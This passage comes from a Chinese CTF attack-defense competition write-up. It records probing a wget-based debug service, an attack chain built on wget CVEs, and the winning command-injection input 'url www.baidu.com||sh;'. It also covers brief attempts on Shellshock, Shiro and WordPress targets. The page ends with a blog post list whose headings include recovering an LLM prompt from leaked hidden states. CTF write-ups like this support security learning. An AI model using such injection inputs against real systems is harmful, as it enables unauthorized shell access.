  3. CVE-2017-13089：Wget栈溢出漏洞
6. nc8000端口，提示Welcome to ISCC debug tool
  Usage:url www.baidu.com
7. 测试输入
8. url www.bit.edu.cn：等待长时间后返回空白
9. url 0.0.0.0:22：立即返回base64编码，解码后为SSH指纹，且提示协议不匹配
10. url 0.0.0.0:80：立即返回base64编码，解码后得到html,为网站根目录
11. url 0.0.0.0:8000，等待长时间后无返回
确定攻击链
1. 获取pwn文件：
2. CVE-2016-4971
3. getshell：
4. CVE-2017-13089
5. CVE-2017-13090
6. 提权：待定
结果：
1. 获取pwn文件：
2. 在攻击机搭建http和ftp，当靶机访问http时重定向到ftp，下载.bash_profile脚本，在攻击机监听返回端口，没有getshell。
3. 此时nc靶机80端口，返回一串base64编码，解码后得到html，如下，与刚才的区别在于此时debugTool增加了href标签，并且攻击机监听到靶机访问了本机。此时猜测思路大致正确，只需要想办法下载debugTool即可。
4. 发现靶机部署Apache 2.4.7，存在多个文件相关漏洞，猜测下一步需要用这些漏洞下载debugTool，暂未尝试。
5. 根据所有测试结果，猜测靶机8000端口逻辑为：①严格判断用户输入格式是否为"url xxx.domain.xxx"，且不能包含任何目录以及协议②执行命令"wget xxx.domain.xxx"，将返回值以base64编码输出③当用户输入靶机80端口时，直接返回根目录页面，当用户输入靶机8000端口时，不执行任何命令。
6. 再次尝试复现漏洞，只返回空白，且无法监听到靶机访问攻击机。nc靶机8000端口，输入0.0.0.0:80，返回第一种html，但过一段时间后再次输入相同，返回第二种html，猜测有可能触发了某种机制。黑盒测试水平有限，无法继续。

赛后得知输入

url www.baidu.com||sh;

即可getshell，并且可以执行getflag命令，有些疑惑，没想到和hint所说的wget漏洞和pwn有什么关系。

3.2高地题

高地题的攻击是在最后六个小时进行的，同时打三台，较为仓促，基本未作截图。在私地服务器提权后改了个密码，在私地服务器使用masscan扫出高地服务器有三台。

3.2.1 192.168.30.35

这台高地的80端口和8002端口部署了相同的web应用，有点疑惑为什么，严重怀疑是弄错了，点进去之后界面如下。

尝试点击这几个页面后，发现只有admin界面和login界面有可能被利用。

admin界面为Django的管理员登陆界面，尝试了几个常见sql注入漏洞均不存在。

login界面有rememberMe选项，首先想到是shiro反序列化漏洞，但发现并不是，遂放弃这台高地。

3.2.2 192.168.30.42

这台高地在80端口部署了一个叫ISCC2016的网站，只有一行href，点进去之后发现路径名称为192.168.30.42/cgi-bin/hello.sh，且显示：

立刻想到CVE-2014-6271 Bash Shell破壳漏洞，payload如下。可惜这台服务器getflag是坏的。

3.2.3 192.168.30.55

这台高地在80端口部署了WordPress3.9，使用WPScan扫描后未发现什么可用漏洞，使用dirsearch扫描后发现phpinfo界面泄露，路径为192.168.30.55:80/info.php，但没找到可利用的点，时间有限，无奈放弃。

4.原则和技术路线

基本遵循渗透测试标准流程进行，如下图所示。

zinc's home

3rd CCB Final leakage Writeup

0. 题目描述

1. 文件结构

2. 功耗波形与hidden state

3. 从校准样本恢复 hidden state

3.1 fit_leakage_regression() 实现思路

4. 从 hidden state 反推 prompt

5. 先恢复非敏感的 prompt 前缀

6. 目标 prompt 的完整已知前缀

7. 身份证号恢复

8. 手机号恢复

9. 发现出题人的小巧思：使用 SIPIT 算法做反推 prompt

9.1 SIPIT 的 one-step map

9.2 local verifier

9.3 Algorithm 1 在本题里的对应关系

9.4 policy：gradient-guided ranking

9.5 用 KV cache 加速 one-step verifier

9.6 SIPIT 运行结果

10. 附件

Linux使用命令行连接WiFi

HUAWEI MatePad Pro 12.6 2021 安装GMS框架

1.安装四个软件

2.配置应用权限

3.安装应用

4.大功告成

网络空间安全导论实验——后门攻击的实现

网络空间安全导论实验——实现本地 Web 攻击

网络空间安全导论实验——为网站添加 HTTPS

网络空间安全导论实验——使用私钥访问 SSH 服务器

网络空间安全导论实验——实现本地 DNS 缓存中毒攻击

网络空间安全导论实验——简单栈溢出

[2020-工业信息安全技能大赛巡回赛-济南站]IoT

配置qemu

逆向分析

数据结构思维导图

数据结构考察八题

MATLAB实验——相关与混响

实验目的与意义

实验过程

MATLAB实验——干扰与抗干扰

实验目的与意义

实验过程

MATLAB实验——卷积与滤波

实验目的与意义

实验过程

MATLAB实验——频率与频谱

实验目的与意义

实验过程

MATLAB实验——音频处理

实验内容

实验过程

实验结果

密码学原理与实践第三版课后习题

5.11

5.12

6.9

6.12

7.6

7.7

7.8

7.13

9.1

9.4

9.5

10.1

10.7

11.1

11.7

基于Paillier算法的匿名电子投票流程实现（Go实现）

实验名称：基于Paillier 算法的匿名电子投票流程实现

实验原理：

实验环境：Windows 11 + Go 1.20.4

实验步骤：

1.配置实验环境

1.1配置Go语言环境：

1.1.1下载和安装Go语言SDK，下载地址：https://golang.org/dl/

1.1.2配置系统环境变量

2.创建Go语言代码文件，编写Paillier加密程序，验证Paillier算法具有加法同态性：

3.运行Paillier加密程序，结果如下图所示，说明Paillier算法具有加法同态性。

3.1 `fit_leakage_regression()` 实现思路